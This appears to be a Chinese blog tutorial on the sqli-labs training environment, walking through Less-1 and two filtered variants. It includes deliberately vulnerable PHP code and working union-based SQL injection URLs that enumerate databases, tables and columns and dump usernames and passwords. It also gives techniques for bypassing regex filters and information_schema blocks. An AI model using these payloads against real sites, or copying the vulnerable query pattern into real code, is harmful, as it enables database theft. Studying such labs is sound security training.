SQL Injections及sqli-labs练习

目录

一、SQL Injections

二、sqli-labs

1.less-1

(1)代码解析

(2)查询语句的利用

①查询方式

a:联合查询

b:and

(3)利用过程

①得到用户名和密码的前提

②联合查询

③SELECT * FROM users WHERE id='$id' LIMIT 0,1

④联合查询时前面为假后面才会为真

⑤可控字段

(4)注入查询数据

①终端注入

②网页注入

(5)less-1.1

①分析正则

②科学计数法的引入

(6)less-1.2

①替代库

②无列名注入(使用join-using注列名)

③不使用列名进行注入


一、SQL Injections

SQL注入漏洞主要形成的原因是在数据交互中,前端的数据传入到后台处理时,没有做严格的判断,导致其传入的“数据”拼接到SQL语句中后,被当作SQL语句的一部分执行, 从而导致数据库受损(被脱裤、被删除、甚至整个服务器权限沦陷)。

二、sqli-labs

1.less-1

(1)代码解析

<?php
//including the Mysql connect parameters.  数据库连接
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables 
if(isset($_GET['id']))                     接用户的输入id
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');               打开一个文件
fwrite($fp,'ID:'.$id."\n");                用户输入的内容写入文件
fclose($fp);                               管道关闭

// connectivity 


$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";      输入的查询语句(1条)  
$result=mysql_query($sql);         
$row = mysql_fetch_array($result);                        查询出来为数组row
       
	if($row)                                       若数组存在,即可以查询到用户输入的id
	{
  	echo "<font size='5' color= '#99FF00'>";
  	echo 'Your Login name:'. $row['username'];     这条数据被包装成数组
  	echo "<br>";
  	echo 'Your Password:' .$row['password'];       数组包含username和password
  	echo "</font>";
  	}
	else                                          数组中未取到值
	{
	echo '<font color= "#FFFF00">';
	print_r(mysql_error());
	echo "</font>";  
	}
}
	else { echo "Please input the ID as parameter with numeric value";}   未get传参

?>

从数组中取值取出它的key,将值放入前端并写了html样式,若没取到,mysql会将报错打印,若最上面未使用get传参id,则会让你输入数字类型的id。

①使用get传参,$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";语句中传入的id,其实是users表中的id,id字段其实就类似于身份证编号是唯一可以区分用户的,如下图所示:

使用id作为限制条件查出某个人:

②将下图中的注释打开,即可得到我们查询到的数组的数据

由上图可知,数组是以key取值的。

(2)查询语句的利用

SELECT * FROM users WHERE id='$id' LIMIT 0,1

以字符串拼接的方式查询,并用单引号包裹,若id='1'是可行的,但如果传入了1'(相当于id='1''),产生如下图的报错:

单双引号一定是成对出现的,所以我们可以尝试逃逸出/闭合单引号,并进行数据查询(作为一个入侵者,要查询管理员的数据。

①查询方式
a:联合查询

由上图可知,联合查询时,两张表的列必须相同。

前端注入数据仅显示username和password,所以2、3字段要在出数据。

 b:and

(3)利用过程

①得到用户名和密码的前提

处于哪个数据库下? 哪个表?哪个字段里面?

security数据库下的users表中的username和password字段。

 若此时代码中是存在注入点的,可以使用联合查询编写sql查询语句,我们可以查询出前置信息:mysql版本号(有些版本存在漏洞)、用户权限(是否为root,若为root成功率更高)、当前所在数据库 。

mysql> select version();
mysql> select user();
mysql> select database();

q:普通用户,管理员后台找不到,密码无法破解???

a:尝试挖网站的存储型xss

②联合查询

此时是没有数据库权限的,仅有前端页面,使用联合查询如何知晓一个表有几列?    

使用order by函数(排序 )

排序可以使用1代表id作为第一列进行排序,如图当使用第四列排序时出错,我们可知仅有三列。

 ③SELECT * FROM users WHERE id='$id' LIMIT 0,1

由order by函数,我们可以对php代码中sql查询语句做如下利用:

SELECT * FROM users WHERE id='1' oder by 1-- ' LIMIT 0,1

mysql注释方式:
单行注释:--(一个空格)    
         #        
多行注释:/**/  */
--空格  :在url中要转换为--+

上图中展示报错是由于   print_r(mysql_error());

④联合查询时前面为假后面才会为真

完成前三步后,做如下操作,查询未成功:

是由于在联合查询时前面为假后面才会为真!!!(前面的查到了后面的就不再执行了)

可以利用一个不存在的id(例如-1):

⑤可控字段

联合查询时将两张表连在一起进行查询,最后一行出现的是最后一个表的字段(1,2,3,),拼接的这张表三个字段,第一个字段为1,第二个字段2,第三个字段3,在前端展示时本来为username和password,此时为2和3,2字段为username,3字段为password。

本来没有联合查询时,前端展示出第一条的数据,使用联合查询有两条,输出了最后一条展示在前端,此时2和3其实是我们可以控制的,如下图:

我们可以使用输出再次理解(打开下图中的注释):

此时查询到的数据不再是具体的username和password,而上图中第一行代码为查询语句,这个查询语句查询的时表中的最后一行(row是行),相当于将两张表的查询结果拼在一起,第一张表查询结果是1 Dumb Dumb,第二张表查询结果是1 2 3,查询语句获取到最后一行的数据,找到username和password的字段,于是将2 3取出来展示到前端了。

 综上,我们可以对输出的2,3字段进行利用:

 如上图,得到了我们想要的数据,其实对1字段可以进行利用,只是它无法展示在前端而已。

(4)注入查询数据

 ①终端注入

information_schema是官方的库名,不会更改。

mysql> desc tables;
mysql> select table_schema from tables;

 查询出的这个字段中包含security这个库:

将库名作为条件,查出当前数据库中的表名:

mysql> desc columns;

查询security库下users表中所有的列:

查询到管理员的账号和密码:(密码需要解密)

 

②网页注入

?id=-1%27%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=%27security%27--+

 此时我们可以查询到security库中所有表

?id=-1%27%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_schema=%27security%27%20and%20table_name=%27users%27--+

 ?id=-1%27%20union%20select%201,group_concat(username,0x3a,password),3%20from%20users--+

concat:只能查询一行的数据

函数group_concat:多行连接成一行展示


 

使用limit语句具体到一行进行查询:

?id=-1' union select 1,concat(username,0x3a,password),3 from users limit 1,1--+

?id=-1' union select 1,concat(username,0x3a,password),3 from users limit 2,1--+

0x3a是冒号

(5)less-1.1

在源码中$id=$_GET['id'];之后加入如下代码:

if(preg_match('/select\b[\s\S]*\bfrom/is',$id)){
    die('SQL Injection');
};
①分析正则

第一个\b匹配select单词边界,\s\S匹配到所有字符,最后一个\b匹配到from单词边界。

select...from被过滤,失效。

②科学计数法的引入

如果可以存在一个关键词,可以加在from前面,不会影响语句执行,从而实现绕过正则。

select group_concat(username,0x3a,password),le1from users;

1e1

上图中,相当于多出了一列le1,所以前面必须要有逗号。

 ?id=-1' union select 1,concat(username,0x3a,password),1e1from users limit 2,1--+

(6)less-1.2

在源码中$id=$_GET['id'];之后加入如下代码:

if(preg_match('/information/is',$id)){
    die('SQL Injection');
};

这段代码绕过了information库(查询的表都在此库中),我们需要找到一个可替代库。

①替代库

sys.x$schema_table_statistics_with_buffer

sys.x$schema_table_statistics

sys.x$ps_schema_table_statistics_io

但这几个库都需要有root权限才可以使用,但还有如下表同样存放有库名表名 。(sys.schema_auto_increment_columns 这个库有点局限 需要root 才能访问。 )

sys.schema_auto_increment_columns

sys.schema_table_statistics_with_buffer

mysql.innodb_table_stats

mysql.innodb_table_index

均可代替 information_schema

②无列名注入(使用join-using注列名)

使用上述库不存在列名,只能查到库名和表名。

?id=-1' select * from (select * from users as a join users as b)as c--+
 

select * from后面跟表名,表名就是括号内查询的结果,而查询结果存在一个别名c,括号内子查询,users给自己一个别名a,然后连接了自己,给自己连接的值别名为b,两张相同的表相连,查询的结果赋值给c,此时由于users表连接自己,所以查询时会出现某些字段重复的提示,测试如下图:

将上述两张相同的表通过id、username、password连接起来,此时id、username和password不再重复(将id排除在外),使用id以外的其他值去连接

?id=-1' union select * from (select * from users as a join users as b using(id,username,password))as c--+

此时列名均已取出。

成功查到数据!

③不使用列名进行注入

要知道列名在第几列,由于回显了2、3列,所以肯定是在2、3列替换。

下列语句中,先进行了联合查询,然后将查询结果给一个别名a,然后外部查询第三列的内容。

上图中使用数据与列名进行连接,3外面是反引号,查询第三列的内容(password)。

这种情况下实际是不知道列名password的,但只查出在前端页面上回显出的数据所应的列也就是第三列,如果不清楚就去换一列继续查询。

q:若上述中的反引号被过滤,使用别名:

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值